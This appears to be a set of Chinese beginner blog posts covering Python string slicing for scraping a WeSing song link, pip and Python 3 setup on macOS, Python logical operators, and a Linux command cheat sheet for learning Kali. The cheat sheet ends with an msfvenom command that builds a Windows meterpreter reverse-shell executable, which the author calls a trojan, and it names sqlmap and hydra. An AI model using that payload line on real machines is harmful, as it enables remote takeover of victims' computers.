【Python】关于index()方法及切片功能的一些小细节

前言

由于我今天要练手做一个获取指定两文本之间的内容(取出中间文本),所以用到了index()方法
在使用过程中,碰上几个有趣的问题,我决定记录一下保证以后不会再出现!

这里是事情经过

我要获取的是全民K歌分享歌曲的真实下载链接,在经过各种网页分析之后(此处忽略一万字网页分析过程,如果你有需要我可以在另开文章写,很简单),我需要取出 “playurl”:”  至 “, 之间的内容,也就是歌曲链接啦。先贴上我刚开始写的代码(其实是网上copy过来再改改的

[python]begin = data.index(‘"playurl":"’) + 1
end = data.index(‘",’, begin)
play_url = data[begin:end][/python]

执行后得到如下结果

playurl”:”http://dl.stream.kg.qq.com/szkge/5f1df0f6432bd9287e866f1142a6f99780d859e0?ftnrkey=7a039fed55b00c20be61cf2da649f4f57a9f9d55129571b7959260f624d28ea217e4370a39ba0e79415a1d832047ed1a3468428a3711c3e321cd2e008d9d3ffc&vkey=87B8FA7323B449912EA32D8D9C5105A32BFBD78D0C5D75F94F41ECC603FE43FB750FD87037555B2E2ED2F07263FF7B41AD1359DC5EF4B74B9A70BEBF5A55490411EAAACD5C675A4C8FF4A0764E2B79D1A14C4EDE61D5B35D&fname=1021_e9638deee080f1bb547e47ef80f987fc618188ad.0.m4a&fromtag=1506&sdtfrom=v1506

而我想要的是从http开始的内容,所以我测试了半天,发现是那个 +1 的问题。
原来,index()获取到索引后,默认是最左边一个字符的索引,也就是上文代码中的 ” 所在的索引,我们+1后,就变成了p所在索引,因此执行后出现第一个引号消失了而从p开始算
明白了原因,就可以解决了。很简单,直接获取+自身长度即可。修改后代码如下

[python]begin = data.index(‘"playurl":"’) + len(‘"playurl":"’)
end = data.index(‘",’, begin)
play_url = data[begin:end][/python]

也就是把+1 改成了 +len(‘”playurl”:”‘) ,这样在执行结果如下

http://dl.stream.kg.qq.com/szkge/5f1df0f6432bd9287e866f1142a6f99780d859e0?ftnrkey=ffa2360d2a287aad928b4cdb7bfd8132b814c4f2d8e919b74f26bd37b0e4470d80469ae091b6fe35ce30d45fffb9a782e777045217f9011dda9b2a2bd42f7a1a&vkey=E698512E5CB7A541942685C77FBF1068235409934EF5E3F13B498DDFCD2965C24E2ACB8C7B2126700222961FB84FD640356A0A2DB38B82D6111AEBDDD7797F9DE1A6B2C69311E2D9A202C1A06DCE2BC821385A70DBF73824&fname=1021_e9638deee080f1bb547e47ef80f987fc618188ad.0.m4a&fromtag=1506&sdtfrom=v1506

Perfect,完美达到预期。

结束

今天就到这吧,明天继续把这个小爬虫写完,不过怎么还是觉得易语言方便些呢。可能习惯了吧!

在MacOs安装pip 及各种问题解决

安装方法

在使用brew安装的时候出现未找到pip,然后发现是因为brew默认在执行brew install python的时候会自带pip??不太懂。但是pip又提示command not found。没办法只能用下面语句安装

[shell]sudo easy_install pip[/shell]

成功安装,这时我们执行

[shell]pip -V[/shell]

查看版本,发现竟然TMD安装到了系统的2.7版本py里,这不是我想要的结果

因为我开发是用python3.7(可以参考我的另一篇博文https://blog.zixutech.cn/archives/106 来查看如何在macos上安装双版本py)

所以pip必须为3.7服务,这样一来默认的指令 pip install xxx 就不能用了。

有两种方法可以为3.7版本装包

方法1

首先查看py3.7的包文件夹路径

终端以此执行

[shell]$ python3
>>> import sys
>>> print(sys.path)[/shell]

得到如下结果

复制最后一个路径,我的是

/usr/local/lib/python3.7/site-packages

然后就可以开始执行安装指令了

[/shell]pip install -t /usr/local/lib/python3.7/site-packages/ 包名[/shell]

然后你的包就会安装在-t后面指定的位置了。

 

方法2

由于方法1比较复杂,这里推荐方法2

直接终端执行

[shell]python3 -m pip install 包名[/shell]

也是可以顺利安装的。

总结

至此,pip及未来的包安装都弄好了。略略略

 

 

在Mac上兼容安装Python3并保留原先的Python2.7

前言

博主的电脑为2017款macbook pro ,电脑自带python2.7版本,在网上查资料得知由于很多系统服务依赖于自带的2.7py,所以不敢卸载,因此只能安装双兼容python,这里以Python3.7版本为例。

1、安装Xcode Command Line Tool

在网上查资料,好多都说要先从App Store里装Xcode应用才能装这个Tool,但是经过测试发现,压根不需要。这下就省了5个多G的下载时间

打开终端,执行以下命令安装Xcode Command Line Tool

 

xcode-select --install

 

安装是可视化的,会持续一段时间,耐心等待安装完毕即可

 

2、安装HomeBrew

这是一个Mac平台上很不错的下载源,很多软件可以直接使用brew安装,很省事。

Home Brew官网:https://brew.sh/index_zh-cn

官网首页就有安装指令,直接复制进终端即可。

安装完毕后可以在终端输入以下命令测试是否安装成功

 

brew doctor

 

如果提示

 

Your system is ready to brew.

则表示安装顺利成功,如果出现错误或警告,按照提示进行修复即可。

 

3、安装Python

做完前两步之后,就很简单了,直接在终端输入:

 

brew search python

会出现如下结果

 

可以看到我的python打对勾了,说明安装过了,接下来执行:

 

brew install python

注意:不要管其他的,你只需要安装这个。

 

稍等片刻就会安装完成。

4、设置$PATH变量

这一步不是每个人都要设置,执行下面指令查看是否需要设置$PATH

 

echo $PATH

注意,区分大小写

 

如果执行后显示的类似于

 

/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin

则你不需要设置,直接跳到第5步。

 

如果你的显示的类似于

 

/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin

则你需要设置,继续看即可。

 

TIPs:简单来说,如果你的PATH第一条不是/usr/local/bin 就需要设置!

更改$PATH内容

执行

 

sudo vim /etc/paths

将内容里的/usr/local/bin 移动到第一行

 

也就是像我这样

更改完毕后保存退出。这时需要重启终端才能看到改变,重启终端后,再次执行

 

echo $PATH

查看是否已经变成你修改后的样子。

 

至此,安装完成!

5、查看电脑安装的Python版本

此时你可以执行

 

which python
which python3
which python3.7

执行后查看是否输出/usr/local/bin

 

查看各个python的版本只需要这样执行(其他都一样,数字改改就行)

 

/usr/local/bin/python3 --version

大功告成!!开发去咯!!!

 

 

详解Python中的逻辑运算符and or 和not

总体解释

首先,‘and’、‘or’和‘not’的优先级是not>and>or。

其次,逻辑操作符and 和or 也称作短路操作符(short-circuitlogic)或者惰性求值(lazy evaluation):它们的参数从左向右解析,一旦结果可以确定就停止。例如,如果A 和C 为真而B 为假, A and B and C 不会解析C 。作用于一个普通的非逻辑值时,短路操作符的返回值通常是最后一个变量。因此,逻辑运算符的理解也与C语言中不同。举个例子:

QQ20180702-230615@2x.png

输出内容:

QQ20180702-230720@2x.png

在以上例子中,按照C语言对的思维,3 and 4即3与4为3,但是由于是短路操作符,结果为4,是因为and运算符必须所有的运算数都是true才会把所有的运算数都解析,并且返回最后一个变量,即为4;改变一下顺序4 and 3 ,结果也不一样,即为3

而或逻辑(or),即只要有一个是true,即停止解析运算数,返回最近为true的变量,即 3 or 4,值为3;改变顺序4 or 3 即为4

个人理解

赋值变量为非布尔型时,进行判断永远返回真,所以and时,由于两个值都是true,则返回末尾的值,or 时,由于第一个已经是true了,所以第二个将不再继续判断。

【初学Linux】常用命令和自用记忆方法 持续更新

前言

最近在补习linux 相关知识,为Kali做准备,虽然以前接触过linux但是基本跟小白没什么区别,现在开始从最简单的开始学起,一个一个认命令。欢迎各位萌新跟我一起学习!

正题

基础命令

ls 列出文件或目录
-l 列出文件详细信息
-a 列出所有文件包括隐藏文件
mkdir 创建目录
-p 创建多个目录
例如 mkdir -p 1/2/3/4 创建 1 2 3 4子目录
cd 切换目录
touch 创建空文件
echo 创建有内容的文件
格式:echo 内容 > 文件名
echo hello world > 1.txt 单箭头为覆盖写入
echo hi >> 1.txt 双箭头为叠加写入
cat 查看文件内容
记忆:猫 猫一眼 2333
cp 复制
例如:cp 原文件 新文件位置
mv 移动或重命名
例如:mv 原文件 新文件位置
more、less 分页显示文本文件
rm 删除文件
-r 递归删除,删除所有子目录及文件
-f 强制删除
find 查找指定文件
wc 统计文本中行数,字数,字符数
grep 在文本文件中查找某个字符
rmdir 删除空目录 少用
tree 树形结构显示目录
pwd 显示当前目录
in 创建链接文件
head、tail 显示文件头、尾内容(默认前后10行)

服务命令

service 服务名 restart 重启服务
service 服务名 start 启动服务
service 服务名 status 查看服务状态
service 服务名 stop 停止服务
update -rc.d 服务名 enable 将一个服务添加到启动项
update -rc.d 服务名 disable 将一个服务从启动项去除

文本编辑命令

vim 命令的三种模式:命令模式(esc),插入模式(a),编辑模式
命令模式:
:q 退出
:q! 强制退出
:wq 保存并退出
:set number 启动行号显示
:set nonumber 关闭行号显示
yyp 复制光标所在行并粘贴
nano 文件名 进入可视化编辑模式
leafpad 以图形化打开文件(和win一样)

工具命令

通用格式:
工具名 参数 路径 链接
工具名 –help 查看工具说明
例如:
sqlmap -u URL 参数 库 参数 表 参数 字段
hydra 参数 文件 参数 文件 参数 地址 端口
msfvenom -p windows/meteerpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe > text.exe
生成一个windows下的木马